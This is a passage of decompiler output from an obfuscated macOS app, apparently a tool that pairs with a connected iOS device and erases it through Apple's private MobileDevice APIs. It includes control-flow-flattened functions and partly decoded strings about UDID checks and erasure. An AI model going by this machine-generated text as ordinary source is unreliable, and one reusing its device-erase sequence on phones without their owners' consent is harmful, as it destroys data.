case 1931786565:
v7 = *(_QWORD *)(a1 + 40);
v2 = objc_msgSend(*(id *)(a1 + 32), "Model_Image");
v11 = objc_retainAutoreleasedReturnValue(v2);
v3 = 131598327;
goto LABEL_29;
}
}
else
{
switch ( v10 )
{
case 305708391:
v6 = objc_msgSend(*(id *)(a1 + 32), "Model_Image");
objc_retainAutoreleasedReturnValue(v6);
*v12 = 1931786565;
break;
case 666458962:
objc_msgSend(v11, "setImage:", v7);
objc_release(v11);
v8 = *(void **)(a1 + 48);
objc_retain(v8);
v9 = url_image;
v3 = 930504154;
goto LABEL_29;
case 689232973:
objc_msgSend(v11, "setImage:", v7);
objc_release(v11);
objc_retain(*(id *)(a1 + 48));
*v12 = 666458962;
break;
}
}
}
if ( v10 <= -78994262 )
break;
switch ( v10 )
{
case -78994261:
url_image = v8;
objc_release(v9);
*v12 = -1015400466;
break;
case 78723644:
v4 = 1;
v3 = 1931786565;
v5 = 305708391;
LABEL_25:
if ( !v4 )
v3 = v5;
LABEL_29:
*v12 = v3;
break;
case 131598327:
*v12 = 860613395;
break;
}
}
if ( v10 == -1015400466 )
{
url_image = v8;
objc_release(v9);
v3 = -1676268442;
goto LABEL_29;
}
if ( v10 == -997824397 )
{
v4 = 0;
v3 = -78994261;
v5 = -1015400466;
goto LABEL_25;
}
}
while ( v10 != -1676268442 );
return result;
}
// 1000FD1E3: variable 'v7' is possibly undefined
// 1000FD34B: variable 'v8' is possibly undefined
// 1000FD356: variable 'v9' is possibly undefined
//----- (00000001000FD4FD) ----------------------------------------------------
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_4(__int64 a1)
{
__int64 result; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
NSImage *v6; // rax
NSImage *v7; // rax
char v8; // cf
int v9; // ecx
id WeakRetained; // rax
id v11; // rdi
id v12; // rdi
NSImage *v13; // rax
int v14; // [rsp+10h] [rbp-50h]
int v15; // [rsp+14h] [rbp-4Ch] BYREF
id v16; // [rsp+18h] [rbp-48h]
id v17; // [rsp+20h] [rbp-40h]
bool v18; // [rsp+2Dh] [rbp-33h]
char v19; // [rsp+2Eh] [rbp-32h]
char v20; // [rsp+2Fh] [rbp-31h]
int *v21; // [rsp+30h] [rbp-30h]
v15 = 245734147;
v21 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v15;
if ( v15 > 558174801 )
break;
if ( v15 > -613477637 )
{
if ( v15 > 1087273 )
{
if ( v15 > 342495867 )
{
if ( v15 == 342495868 )
{
*v21 = 1087274;
}
else if ( v15 == 420944910 )
{
v8 = 0;
v4 = 420944910;
v9 = 1029771400;
goto LABEL_78;
}
}
else
{
if ( v15 == 1087274 )
{
v8 = 0;
v4 = -1251242694;
v9 = 956864719;
goto LABEL_78;
}
if ( v15 == 245734147 )
{
v3 = 0;
v4 = -1531225316;
v5 = 1790705327;
goto LABEL_86;
}
}
}
else if ( v15 > -200138363 )
{
if ( v15 == -200138362 )
{
v8 = 0;
v4 = -1020307475;
v9 = 420944910;
goto LABEL_78;
}
if ( v15 == -75791771 )
{
v4 = -2118810995;
goto LABEL_88;
}
}
else if ( v15 == -613477636 )
{
*v21 = 2072703559;
}
else if ( v15 == -303028454 )
{
*v21 = -1582672013;
}
}
else if ( v15 > -1363341950 )
{
if ( v15 > -1020307476 )
{
if ( v15 == -1020307475 )
{
*v21 = 420944910;
}
else if ( v15 == -746164201 )
{
dword_10029F55C = 1;
WeakRetained = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 80LL));
v3 = 1;
v16 = WeakRetained;
v4 = -746164201;
v5 = 978971232;
goto LABEL_86;
}
}
else if ( v15 == -1363341949 )
{
*v21 = 668784281;
}
else if ( v15 == -1251242694 )
{
asc_10027D054[0] = v20 ^ 0xF4;
asc_10027D054[1] = 100;
asc_10027D054[2] = 107;
*v21 = 956864719;
}
}
else if ( v15 > -1582672014 )
{
if ( v15 == -1582672013 )
{
v20 = -99;
*v21 = 342495868;
}
else if ( v15 == -1531225316 )
{
v8 = 1;
v14 = dword_10029F55C;
v4 = 1891292754;
v9 = 1790705327;
goto LABEL_78;
}
}
else if ( v15 == -2118810995 )
{
objc_msgSend(v16, "setImage:", v17);
objc_release(v17);
objc_release(v16);
v11 = url_image;
url_image = &stru_10025B688;
objc_release(v11);
*v21 = 845188087;
}
else if ( v15 == -1591322388 )
{
v6 = +[NSImage imageNamed:](&OBJC_CLASS___NSImage, "imageNamed:", CFSTR("\xC3\xE8n\x9E"));
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = 0;
v17 = v7;
v4 = 1996276386;
v9 = 558174802;
goto LABEL_78;
}
}
if ( v15 <= 1363003522 )
break;
if ( v15 > 1839300221 )
{
if ( v15 > 1996276385 )
{
if ( v15 == 1996276386 )
{
v13 = +[NSImage imageNamed:](&OBJC_CLASS___NSImage, "imageNamed:", CFSTR("\xC3\xE8n\x9E"));
objc_retainAutoreleasedReturnValue(v13);
*v21 = -1591322388;
}
else if ( v15 == 2072703559 )
{
v18 = v14 == 0;
v8 = 1;
v4 = 1271865168;
v9 = 2072703559;
goto LABEL_78;
}
}
else
{
if ( v15 == 1839300222 )
{
v3 = 0;
v4 = 2072703559;
v5 = -613477636;
goto LABEL_86;
}
if ( v15 == 1891292754 )
*v21 = 1839300222;
}
}
else if ( v15 > 1601898925 )
{
if ( v15 == 1601898926 )
{
HikariFunctionWrapper_17307(v16, "setImage:");
objc_release(v17);
objc_release(v16);
v12 = url_image;
url_image = &stru_10025B688;
objc_release(v12);
*v21 = -2118810995;
}
else if ( v15 == 1790705327 )
{
*v21 = -1531225316;
}
}
else if ( v15 == 1363003523 )
{
v8 = 0;
v4 = 1577890650;
v9 = -746164201;
LABEL_78:
if ( !v8 )
v4 = v9;
LABEL_88:
*v21 = v4;
}
else if ( v15 == 1577890650 )
{
dword_10029F55C = 1;
objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 80LL));
*v21 = -746164201;
}
}
if ( v15 <= 978971231 )
break;
if ( v15 > 1236687620 )
{
if ( v15 == 1236687621 )
{
v3 = 1;
v4 = -303028454;
v5 = -1582672013;
LABEL_86:
if ( v3 )
v4 = v5;
goto LABEL_88;
}
if ( v15 == 1271865168 )
*v21 = -200138362;
}
else if ( v15 == 978971232 )
{
*v21 = 858493074;
}
else if ( v15 == 1029771400 )
{
v4 = 1363003523;
if ( v18 )
v4 = 1236687621;
goto LABEL_88;
}
}
if ( v15 > 845188086 )
break;
if ( v15 == 558174802 )
{
*v21 = -75791771;
}
else if ( v15 == 668784281 )
{
asc_10027D054[3] = v19 ^ 0x4B;
*v21 = 1363003523;
}
}
if ( v15 == 858493074 )
{
v3 = 0;
v4 = -1591322388;
v5 = 1996276386;
goto LABEL_86;
}
if ( v15 == 956864719 )
{
v3 = 1;
asc_10027D054[0] = v20 ^ 0xF4;
asc_10027D054[1] = 100;
asc_10027D054[2] = 107;
v19 = 75;
v4 = 956864719;
v5 = -1363341949;
goto LABEL_86;
}
}
while ( v15 != 845188087 );
return result;
}
// 1000FDA7F: variable 'v14' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10027D0C0: using guessed type __CFString stru_10027D0C0;
// 10029F55C: using guessed type int dword_10029F55C;
//----- (00000001000FDD4D) ----------------------------------------------------
void __cdecl -[AppDelegate refreshDeviceSession](AppDelegate *self, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
char v9; // cf
int v10; // ecx
__int64 Copy; // rax
char IsPaired; // al
int v13; // eax
__int64 v14; // [rsp+0h] [rbp-60h]
__int64 v15; // [rsp+8h] [rbp-58h]
__int64 v16; // [rsp+10h] [rbp-50h]
__int64 v17; // [rsp+18h] [rbp-48h]
int v18; // [rsp+24h] [rbp-3Ch]
int v19; // [rsp+28h] [rbp-38h] BYREF
char v20; // [rsp+2Fh] [rbp-31h]
int *v21; // [rsp+30h] [rbp-30h]
v19 = -644964452;
v21 = &v19;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v19 <= -357185436 )
{
if ( v19 <= -922302227 )
{
if ( v19 <= -1680904378 )
{
if ( v19 <= -1941458601 )
{
if ( v19 == -2034107420 )
{
LABEL_79:
*v21 = 1430086428;
}
else if ( v19 == -2009358653 )
{
v9 = 1;
v3 = 886313052;
v10 = 987976245;
goto LABEL_113;
}
}
else
{
switch ( v19 )
{
case -1941458600:
idevice = v15;
HikariFunctionWrapper_17311(v15);
*v21 = -88996814;
break;
case -1875249986:
Copy = AMDeviceCreateCopy(idevice);
v7 = 1;
v15 = Copy;
v3 = -776749559;
v8 = 1081864501;
goto LABEL_107;
case -1715996066:
*v21 = -871833404;
break;
}
}
}
else if ( v19 > -1190020216 )
{
switch ( v19 )
{
case -1190020215:
v7 = 0;
v3 = 1374293783;
v8 = 143265209;
goto LABEL_107;
case -1169370566:
v5 = 0;
v3 = -424315325;
v6 = 1900619164;
goto LABEL_101;
case -1041033431:
v2 = v20 == 0;
v3 = 254568108;
v4 = -716213854;
goto LABEL_96;
}
}
else
{
switch ( v19 )
{
case -1680904377:
v7 = 1;
v3 = 1646444648;
v8 = -1041033431;
goto LABEL_107;
case -1424654753:
v7 = 0;
v3 = -1680904377;
v8 = 1646444648;
goto LABEL_107;
case -1350891906:
*v21 = -716213854;
break;
}
}
}
else if ( v19 > -682538949 )
{
if ( v19 > -602163798 )
{
switch ( v19 )
{
case -602163797:
LABEL_80:
*v21 = -704156453;
break;
case -569576492:
IsPaired = AMDeviceIsPaired(v16);
v9 = 0;
v20 = IsPaired;
v3 = 2051508292;
v10 = 1617363175;
goto LABEL_113;
case -424315325:
v7 = 1;
v16 = idevice;
v3 = 1900619164;
v8 = -100750148;
goto LABEL_107;
}
}
else
{
switch ( v19 )
{
case -682538948:
v3 = -1350891906;
goto LABEL_115;
case -644964452:
v2 = 0;
v3 = -776749559;
v4 = -1875249986;
goto LABEL_96;
case -605417536:
v5 = v18 == 0;
v3 = -1190020215;
v6 = -1169370566;
goto LABEL_101;
}
}
}
else if ( v19 > -716213855 )
{
switch ( v19 )
{
case -716213854:
goto LABEL_79;
case -704156453:
v7 = 1;
v3 = -602163797;
v8 = 1516114153;
goto LABEL_107;
case -694085298:
v3 = -682538948;
goto LABEL_115;
}
}
else
{
switch ( v19 )
{
case -922302226:
v9 = 1;
v3 = -88996814;
v10 = -1941458600;
LABEL_113:
if ( !v9 )
v3 = v10;
goto LABEL_115;
case -871833404:
AMDevicePair(v14);
*v21 = -694085298;
break;
case -776749559:
HikariFunctionWrapper_17309(idevice);
*v21 = -1875249986;
break;
}
}
}
if ( v19 <= 1081864500 )
break;
if ( v19 <= 1430086427 )
{
if ( v19 <= 1339023551 )
{
if ( v19 == 1081864501 )
{
*v21 = -922302226;
}
else if ( v19 == 1200614878 )
{
*v21 = 1339023552;
}
}
else
{
switch ( v19 )
{
case 1339023552:
goto LABEL_80;
case 1366312856:
*v21 = -2009358653;
break;
case 1374293783:
v7 = 1;
v3 = 143265209;
v8 = -357185435;
goto LABEL_107;
}
}
}
else if ( v19 > 1646444647 )
{
switch ( v19 )
{
case 1646444648:
*v21 = -1680904377;
break;
case 1900619164:
*v21 = -424315325;
break;
case 2051508292:
HikariFunctionWrapper_17313(v16);
LABEL_61:
*v21 = -569576492;
break;
}
}
else
{
switch ( v19 )
{
case 1430086428:
v5 = 0;
v17 = idevice;
v3 = 1366312856;
v6 = -2034107420;
LABEL_101:
if ( v5 )
v3 = v6;
goto LABEL_115;
case 1516114153:
*v21 = -1190020215;
break;
case 1617363175:
*v21 = -1424654753;
break;
}
}
}
if ( v19 <= 254568107 )
break;
if ( v19 > 889539188 )
{
switch ( v19 )
{
case 889539189:
*v21 = -237064234;
break;
case 895711247:
*v21 = -605417536;
break;
case 987976245:
AMDeviceStartSession(v17);
*v21 = 886313052;
break;
}
}
else
{
switch ( v19 )
{
case 254568108:
v2 = 0;
v3 = 889539189;
v4 = -237064234;
LABEL_96:
if ( !v2 )
v3 = v4;
LABEL_115:
*v21 = v3;
break;
case 476644721:
goto LABEL_61;
case 886313052:
AMDeviceStartSession(v17);
v2 = 0;
v3 = 886313052;
v4 = 1200614878;
goto LABEL_96;
}
}
}
if ( v19 <= -88996815 )
break;
switch ( v19 )
{
case -88996814:
idevice = v15;
v13 = AMDeviceConnect(v15);
v9 = 0;
v18 = v13;
v3 = -1941458600;
v10 = 895711247;
goto LABEL_113;
case 25383860:
*v21 = -682538948;
break;
case 143265209:
*v21 = 1374293783;
break;
}
}
if ( v19 == -237064234 )
{
v7 = 0;
v14 = idevice;
v3 = -1715996066;
v8 = 889539189;
LABEL_107:
if ( v7 )
v3 = v8;
goto LABEL_115;
}
if ( v19 != -100750148 )
break;
*v21 = 476644721;
}
}
while ( v19 != -357185435 );
}
// 1000FDE86: variable 'v17' is possibly undefined
// 1000FDF59: variable 'v18' is possibly undefined
// 1000FE0CF: variable 'v16' is possibly undefined
// 1000FE406: variable 'v14' is possibly undefined
// 1000FE542: variable 'v15' is possibly undefined
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
// 10029F898: using guessed type __int64 idevice;
//----- (00000001000FE6C1) ----------------------------------------------------
__int64 __fastcall eraseDeviceCallback(id a1, int a2)
{
__int64 v2; // rdx
unsigned int v3; // ecx
unsigned int v4; // eax
bool v5; // zf
int v6; // eax
int v7; // ecx
char v8; // cf
int v9; // ecx
char v10; // cf
int v11; // ecx
int v13; // [rsp+4h] [rbp-3Ch]
int v14; // [rsp+8h] [rbp-38h] BYREF
bool v15; // [rsp+Dh] [rbp-33h]
bool v16; // [rsp+Eh] [rbp-32h]
char v17; // [rsp+Fh] [rbp-31h]
int *v18; // [rsp+10h] [rbp-30h]
v2 = 2795966141LL;
v3 = 71124901;
v14 = 1669543950;
v18 = &v14;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = v14;
if ( v14 <= -260803383 )
break;
if ( v14 > 1312516182 )
{
if ( v14 > 1831290750 )
{
if ( v14 <= 1913018444 )
{
if ( v14 == 1831290751 )
{
*v18 = 1592540715;
}
else if ( v14 == 1839663788 )
{
*v18 = 303342237;
}
}
else
{
switch ( v14 )
{
case 1913018445:
objc_release(a1);
v8 = 0;
v6 = 1913018445;
v9 = 1831290751;
LABEL_90:
if ( !v8 )
v6 = v9;
LABEL_104:
v3 = (unsigned int)v18;
*v18 = v6;
break;
case 1963637843:
v5 = 0;
v6 = 1963637843;
v7 = 85275735;
LABEL_102:
if ( !v5 )
v6 = v7;
goto LABEL_104;
case 2115307928:
v2 = 17829888;
v8 = 0;
v13 = dword_10029F564;
v6 = 2115307928;
v9 = 1763965710;
goto LABEL_90;
}
}
}
else if ( v14 <= 1669543949 )
{
if ( v14 == 1312516183 )
{
*v18 = 1963637843;
}
else if ( v14 == 1592540715 )
{
v2 = 1766080552;
v10 = 1;
v6 = 604228907;
v11 = -1433869050;
goto LABEL_81;
}
}
else
{
switch ( v14 )
{
case 1669543950:
v8 = 0;
v6 = -2031640787;
v9 = 2115307928;
goto LABEL_90;
case 1763965710:
*v18 = 449022660;
break;
case 1812852129:
v16 = a2 >= 100;
*v18 = -1261855588;
break;
}
}
}
else if ( v14 > 460735361 )
{
if ( v14 <= 679164344 )
{
if ( v14 == 460735362 )
{
*v18 = -260803382;
}
else if ( v14 == 604228907 )
{
*v18 = -1433869050;
}
}
else
{
switch ( v14 )
{
case 679164345:
NSLog(
CFSTR("\xF1\xD1\xAA\xA2:\x91\xB6\xA1Bu\x90\x84+\x1E\xA2ڙ\x94\xFA\xD8\x1E\x80g\xC2\xDE\x89D\xA4"),
a1,
v2);
*v18 = -379735091;
break;
case 920132678:
strcpy(asc_10027D150, "Erasing device %@: Progress %d%%");
LOBYTE(v3) = 113;
v2 = v3;
LOBYTE(v2) = -30;
asc_10027D100[0] = 69;
v6 = 460735362;
goto LABEL_104;
case 1221783981:
*v18 = -1036308994;
break;
}
}
}
else if ( v14 <= 85275734 )
{
if ( v14 == -260803382 )
{
asc_10027D100[1] = 114;
asc_10027D100[2] = 97;
asc_10027D100[3] = 115;
asc_10027D100[4] = 101;
asc_10027D100[5] = 32;
asc_10027D100[6] = 99;
asc_10027D100[7] = 111;
asc_10027D100[8] = 109;
asc_10027D100[9] = 112;
asc_10027D100[10] = 108;
asc_10027D100[11] = 101;
asc_10027D100[12] = 116;
asc_10027D100[13] = 101;
asc_10027D100[14] = 100;
asc_10027D100[15] = 32;
asc_10027D100[16] = 102;
LOBYTE(v4) = -118;
v3 = v4;
asc_10027D100[17] = 111;
asc_10027D100[18] = 114;
v17 = 32;
*v18 = -278657002;
}
else if ( v14 == 20980229 )
{
v2 = 1588573124;
v10 = 1;
v6 = -1033409887;
v11 = 1913018445;
goto LABEL_81;
}
}
else
{
switch ( v14 )
{
case 85275735:
v5 = !v16;
v6 = 20980229;
v7 = 679164345;
goto LABEL_102;
case 303342237:
dword_10029F564 = 1;
objc_retain(a1);
NSLog(
CFSTR("\xD3\xC0O\x17j\xA4_\xFBDi\xDF\xDE趹fx\x13)E4\x05굒\x92\xD8\x75ϙ\xC2\xFF"),
a1,
(unsigned int)a2);
*v18 = 1812852129;
break;
case 449022660:
v2 = 1040237121;
v5 = 0;
v6 = 1221783981;
v7 = -1036308994;
goto LABEL_102;
}
}
}
if ( v14 <= -863838501 )
break;
if ( v14 > -420146941 )
{
if ( v14 <= -367694472 )
{
if ( v14 == -420146940 )
{
*v18 = -863838500;
}
else if ( v14 == -379735091 )
{
v2 = 4044420873LL;
v8 = 1;
v6 = -863838500;
v9 = -420146940;
goto LABEL_90;
}
}
else
{
switch ( v14 )
{
case -367694471:
v2 = 301992039;
v5 = 0;
v6 = -1833706570;
v7 = -992804738;
goto LABEL_102;
case -281957895:
strcpy(asc_10027D150, "Erasing device %@: Progress %d%%");
LOBYTE(v4) = -108;
v3 = v4;
asc_10027D100[0] = 69;
*v18 = 920132678;
break;
case -278657002:
v10 = 1;
v6 = -776036976;
v11 = -846744682;
goto LABEL_81;
}
}
}
else if ( v14 <= -846744683 )
{
if ( v14 == -863838500 )
{
v6 = -859452502;
goto LABEL_104;
}
if ( v14 == -859452502 )
*v18 = 20980229;
}
else
{
switch ( v14 )
{
case -846744682:
asc_10027D100[19] = v17;
asc_10027D100[20] = 100;
asc_10027D100[21] = 101;
asc_10027D100[22] = 118;
asc_10027D100[23] = 105;
asc_10027D100[24] = 99;
asc_10027D100[25] = 101;
asc_10027D100[26] = 32;
asc_10027D100[27] = 37;
asc_10027D100[28] = 64;
LOBYTE(v4) = -55;
v3 = v4;
asc_10027D100[29] = 0;
*v18 = 1839663788;
break;
case -776036976:
asc_10027D100[19] = v17;
asc_10027D100[20] = 100;
asc_10027D100[21] = 101;
asc_10027D100[22] = 118;
asc_10027D100[23] = 105;
asc_10027D100[24] = 99;
asc_10027D100[25] = 101;
asc_10027D100[26] = 32;
asc_10027D100[27] = 37;
asc_10027D100[28] = 64;
LOBYTE(v4) = -55;
v3 = v4;
asc_10027D100[29] = 0;
*v18 = -846744682;
break;
case -498441985:
v5 = !v15;
v6 = 303342237;
v7 = -1120321685;
goto LABEL_102;
}
}
}
if ( v14 > -1120321686 )
break;
if ( v14 <= -1433869051 )
{
if ( v14 == -2031640787 )
{
*v18 = 2115307928;
}
else if ( v14 == -1833706570 )
{
*v18 = -992804738;
}
}
else
{
switch ( v14 )
{
case -1433869050:
v2 = 861993866;
v10 = 0;
v6 = -1079739792;
v11 = 604228907;
LABEL_81:
if ( v10 )
v6 = v11;
goto LABEL_104;
case -1414336725:
*v18 = -367694471;
break;
case -1261855588:
v8 = 0;
v6 = 1312516183;
v9 = 1963637843;
goto LABEL_90;
}
}
}
if ( v14 <= -1033409888 )
break;
if ( v14 == -1033409887 )
{
objc_release(a1);
*v18 = 1913018445;
}
else if ( v14 == -992804738 )
{
v8 = 1;
v6 = -498441985;
v9 = -1833706570;
goto LABEL_90;
}
}
if ( v14 == -1120321685 )
{
v2 = 2224518144LL;
v8 = 1;
v6 = 920132678;
v9 = -281957895;
goto LABEL_90;
}
if ( v14 == -1036308994 )
{
v15 = v13 == 0;
v6 = -1414336725;
goto LABEL_104;
}
}
while ( v14 != -1079739792 );
return 0;
}
// 1000FEA2B: variable 'v13' is possibly undefined
// 1000FEFD2: variable 'v2' is possibly undefined
// 1000FF5A0: variable 'v3' is possibly undefined
// 10029F564: using guessed type int dword_10029F564;
//----- (00000001000FF635) ----------------------------------------------------
void __cdecl -[AppDelegate erase_device:](AppDelegate *self, SEL a2, id a3)
{
int v3; // eax
bool v4; // zf
int v5; // ecx
id v6; // rax
id v7; // rax
id v8; // rax
char v9; // cf
int v10; // ecx
id v11; // rax
id v12; // rax
unsigned int v13; // eax
id v14; // rax
id v15; // rax
char v16; // cf
int v17; // ecx
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // r15
id v23; // rax
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rax
id v28; // rax
id v29; // rax
id v30; // rax
id v31; // r15
id v32; // rax
const char *v33; // [rsp+8h] [rbp-D8h]
__objc2_class *v34; // [rsp+10h] [rbp-D0h]
__objc2_class *v35; // [rsp+18h] [rbp-C8h]
id v36; // [rsp+20h] [rbp-C0h]
__objc2_class *v37; // [rsp+28h] [rbp-B8h]
id v38; // [rsp+30h] [rbp-B0h]
id v39; // [rsp+38h] [rbp-A8h]
__objc2_class *v40; // [rsp+40h] [rbp-A0h]
const char *v41; // [rsp+48h] [rbp-98h]
id v42; // [rsp+50h] [rbp-90h]
int v43; // [rsp+60h] [rbp-80h]
int v44; // [rsp+64h] [rbp-7Ch] BYREF
id v45; // [rsp+68h] [rbp-78h]
id v46; // [rsp+70h] [rbp-70h]
id v47; // [rsp+78h] [rbp-68h]
id v48; // [rsp+80h] [rbp-60h]
unsigned int v49; // [rsp+88h] [rbp-58h]
unsigned int v50; // [rsp+8Ch] [rbp-54h]
SEL v51; // [rsp+90h] [rbp-50h]
id v52; // [rsp+98h] [rbp-48h]
__int16 v53; // [rsp+A6h] [rbp-3Ah]
bool v54; // [rsp+A9h] [rbp-37h]
bool v55; // [rsp+AAh] [rbp-36h]
bool v56; // [rsp+ABh] [rbp-35h]
bool v57; // [rsp+ACh] [rbp-34h]
bool v58; // [rsp+ADh] [rbp-33h]
bool v59; // [rsp+AEh] [rbp-32h]
char v60; // [rsp+AFh] [rbp-31h]
int *v61; // [rsp+B0h] [rbp-30h]
v44 = 697695048;
v61 = &v44;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v44 <= 141039698 )
{
if ( v44 <= -893728871 )
{
if ( v44 <= -1354503395 )
{
if ( v44 <= -1629648713 )
{
if ( v44 > -1910155597 )
{
switch ( v44 )
{
case -1910155596:
objc_release(v45);
v3 = 1791849073;
goto LABEL_272;
case -1834638368:
*v61 = 1582479305;
break;
case -1752089990:
a3 = (id)262311006;
v3 = 1984207036;
goto LABEL_272;
}
}
else
{
switch ( v44 )
{
case -2066503722:
*v61 = 1366509327;
break;
case -1953348086:
v16 = 0;
v3 = 1582479305;
v17 = -1834638368;
goto LABEL_270;
case -1918478728:
*v61 = -521328126;
break;
}
}
}
else if ( v44 <= -1536853340 )
{
switch ( v44 )
{
case -1629648712:
HikariFunctionWrapper_17339(CFSTR("ٵ㘰¨仔騭ꯎ\xE5\xDA\xDF\x92\x79\xD8\xB3\xA9찕ꬻ擟翘崶⼬韣妬Ꙍﲈ㚿★焓ᙵᴈ"));
*v61 = -711408314;
break;
case -1622380686:
a3 = (id)2003198337;
v16 = 0;
v3 = -1910155596;
v17 = 1958578951;
goto LABEL_270;
case -1572885913:
LABEL_199:
*v61 = -40591463;
break;
}
}
else if ( v44 > -1408186590 )
{
if ( v44 == -1408186589 )
{
*v61 = 1498299923;
}
else if ( v44 == -1374418322 )
{
a2 = (SEL)2794322540LL;
a3 = (id)4088000300LL;
v9 = 1;
v3 = -1317604049;
v10 = 588041229;
goto LABEL_254;
}
}
else
{
if ( v44 == -1536853339 )
{
a2 = (SEL)555485264;
a3 = (id)730006896;
v9 = 0;
v3 = -718882146;
v10 = 206074895;
goto LABEL_254;
}
if ( v44 == -1413314342 )
{
aS_13[0] = 69;
aS_13[1] = 114;
aS_13[2] = 114;
aS_13[3] = 111;
aS_13[4] = 114;
aS_13[5] = 58;
aS_13[6] = 32;
aS_13[7] = 69;
aS_13[8] = 108;
aS_13[9] = 32;
aS_13[10] = 85;
aS_13[11] = 68;
aS_13[12] = 73;
aS_13[13] = 68;
aS_13[14] = 32;
aS_13[15] = 101;
aS_13[16] = 115;
aS_13[17] = 116;
aS_13[18] = 225;
aS_13[19] = 32;
aS_13[20] = 118;
aS_13[21] = 97;
aS_13[22] = 99;
aS_13[23] = 237;
aS_13[24] = 111;
aS_13[25] = 32;
aS_13[26] = 111;
aS_13[27] = 32;
aS_13[28] = 110;
aS_13[29] = 111;
aS_13[30] = 32;
aS_13[31] = 101;
aS_13[32] = 115;
aS_13[33] = 32;
aS_13[34] = 118;
aS_13[35] = 225;
aS_13[36] = 108;
aS_13[37] = 105;
aS_13[38] = 100;
aS_13[39] = 111;
aS_13[40] = 0;
aO_12[0] = 89;
aO_12[1] = 101;
aO_12[2] = 115;
aO_12[3] = 0;
strcpy(asc_10027D730, "Are you sure you want to erase this device?");
asc_10027D490[0] = 65;
asc_10027D490[1] = 77;
asc_10027D490[2] = 83;
asc_10027D490[3] = 73;
asc_10027D490[4] = 110;
asc_10027D490[5] = 105;
asc_10027D490[6] = 116;
asc_10027D490[7] = 105;
asc_10027D490[8] = 97;
asc_10027D490[9] = 108;
asc_10027D490[10] = 105;
asc_10027D490[11] = 122;
asc_10027D490[12] = 101;
asc_10027D490[13] = 32;
asc_10027D490[14] = 99;
asc_10027D490[15] = 111;
asc_10027D490[16] = 109;
asc_10027D490[17] = 112;
asc_10027D490[18] = 108;
asc_10027D490[19] = 101;
asc_10027D490[20] = 116;
asc_10027D490[21] = 97;
asc_10027D490[22] = 100;
asc_10027D490[23] = 111;
asc_10027D490[24] = 32;
asc_10027D490[25] = 99;
asc_10027D490[26] = 111;
asc_10027D490[27] = 110;
asc_10027D490[28] = 32;
asc_10027D490[29] = 233;
asc_10027D490[30] = 120;
asc_10027D490[31] = 105;
asc_10027D490[32] = 116;
asc_10027D490[33] = 111;
asc_10027D490[34] = 0;
asc_10027D6B0[0] = 65;
asc_10027D6B0[1] = 77;
asc_10027D6B0[2] = 83;
asc_10027D6B0[3] = 69;
asc_10027D6B0[4] = 114;
asc_10027D6B0[5] = 97;
asc_10027D6B0[6] = 115;
asc_10027D6B0[7] = 101;
asc_10027D6B0[8] = 68;
asc_10027D6B0[9] = 101;
asc_10027D6B0[10] = 118;
asc_10027D6B0[11] = 105;
asc_10027D6B0[12] = 99;
asc_10027D6B0[13] = 101;
asc_10027D6B0[14] = 32;
asc_10027D6B0[15] = 105;
asc_10027D6B0[16] = 110;
asc_10027D6B0[17] = 105;
asc_10027D6B0[18] = 99;
asc_10027D6B0[19] = 105;
asc_10027D6B0[20] = 97;
asc_10027D6B0[21] = 100;
asc_10027D6B0[22] = 111;
asc_10027D6B0[23] = 32;
asc_10027D6B0[24] = 99;
asc_10027D6B0[25] = 111;
asc_10027D6B0[26] = 110;
asc_10027D6B0[27] = 32;
asc_10027D6B0[28] = 233;
asc_10027D6B0[29] = 120;
asc_10027D6B0[30] = 105;
asc_10027D6B0[31] = 116;
asc_10027D6B0[32] = 111;
asc_10027D6B0[33] = 0;
asc_10027D655[0] = 78;
asc_10027D655[1] = 111;
aWEN[0] = 69;
aWEN[1] = 114;
aWEN[2] = 114;
aWEN[3] = 111;
aWEN[4] = 114;
aWEN[5] = 58;
aWEN[6] = 32;
aWEN[7] = 65;
aWEN[8] = 77;
aWEN[9] = 83;
aWEN[10] = 73;
aWEN[11] = 110;
aWEN[12] = 105;
aWEN[13] = 116;
aWEN[14] = 105;
aWEN[15] = 97;
aWEN[16] = 108;
aWEN[17] = 105;
aWEN[18] = 122;
aWEN[19] = 101;
aWEN[20] = 32;
aWEN[21] = 102;
aWEN[22] = 97;
aWEN[23] = 108;
a3 = (id)4294938880LL;
asc_10027D655[2] = 0;
aWEN[24] = 108;
aWEN[25] = 243;
*v61 = 953518831;
}
}
}
else if ( v44 > -1133734590 )
{
if ( v44 <= -1012687374 )
{
switch ( v44 )
{
case -1133734589:
a3 = (id)4292837292LL;
v16 = 1;
v3 = -1629648712;
v17 = -711408314;
goto LABEL_270;
case -1095804365:
aBkf0[34] = v60;
aBkf0[35] = 101;
aBkf0[36] = 32;
aBkf0[37] = 109;
aBkf0[38] = 97;
aBkf0[39] = 107;
aBkf0[40] = 101;
aBkf0[41] = 32;
aBkf0[42] = 115;
aBkf0[43] = 117;
aBkf0[44] = 114;
aBkf0[45] = 101;
aBkf0[46] = 32;
aBkf0[47] = 121;
aBkf0[48] = 111;
aBkf0[49] = 117;
aBkf0[50] = 32;
aBkf0[51] = 104;
aBkf0[52] = 97;
aBkf0[53] = 118;
aBkf0[54] = 101;
aBkf0[55] = 32;
aBkf0[56] = 109;
aBkf0[57] = 97;
aBkf0[58] = 100;
aBkf0[59] = 101;
